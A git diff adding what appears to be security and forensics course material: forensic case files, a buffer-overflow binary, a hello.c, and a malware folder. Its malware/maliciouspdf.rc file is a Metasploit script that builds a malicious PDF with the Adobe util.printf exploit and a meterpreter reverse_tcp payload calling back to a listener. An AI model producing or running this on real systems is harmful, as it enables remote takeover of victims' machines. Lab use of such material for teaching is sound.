9 files changed, 12 insertions, 0 deletions

diff --git a/criminalistique/Sample-Chain-of-Custody-Form.pdf b/criminalistique/Sample-Chain-of-Custody-Form.pdf
new file mode 100644
index 0000000..19f283c
--- /dev/null
+++ b/criminalistique/Sample-Chain-of-Custody-Form.pdf
diff --git a/criminalistique/letter-image.jpg b/criminalistique/letter-image.jpg
new file mode 100755
index 0000000..6185682
--- /dev/null
+++ b/criminalistique/letter-image.jpg
diff --git a/criminalistique/ransom-letter.doc b/criminalistique/ransom-letter.doc
new file mode 100755
index 0000000..057c5ed
--- /dev/null
+++ b/criminalistique/ransom-letter.doc
diff --git a/criminalistique/ransom-letter.pdf b/criminalistique/ransom-letter.pdf
new file mode 100755
index 0000000..27b8f6f
--- /dev/null
+++ b/criminalistique/ransom-letter.pdf
diff --git a/criminalistique/tp.pdf b/criminalistique/tp.pdf
new file mode 100644
index 0000000..e621c82
--- /dev/null
+++ b/criminalistique/tp.pdf
diff --git a/elf/bufferflow b/elf/bufferflow
new file mode 100755
index 0000000..c51098e
--- /dev/null
+++ b/elf/bufferflow
diff --git a/elf/hello.c b/elf/hello.c
new file mode 100644
index 0000000..0aa057e
--- /dev/null
+++ b/elf/hello.c
@@ -0,0 +1,6 @@
+#include <stdio.h>
+void main(void)
+{
+    char * hello="Hello World !\n";
+    printf (hello);
+}
diff --git a/malware/maliciouspdf.rc b/malware/maliciouspdf.rc
new file mode 100644
index 0000000..71c6c09
--- /dev/null
+++ b/malware/maliciouspdf.rc
@@ -0,0 +1,6 @@
+use exploit/windows/fileformat/adobe_utilprintf
+set FILENAME malicious.pdf
+set PAYLOAD windows/meterpreter/reverse_tcp
+set LHOST listening_ip
+set LPORT tcp_port
+exploit
diff --git a/malware/pdf-doc-vba-eicar-dropper.pdf b/malware/pdf-doc-vba-eicar-dropper.pdf
new file mode 100644
index 0000000..ebd6c4b
--- /dev/null
+++ b/malware/pdf-doc-vba-eicar-dropper.pdf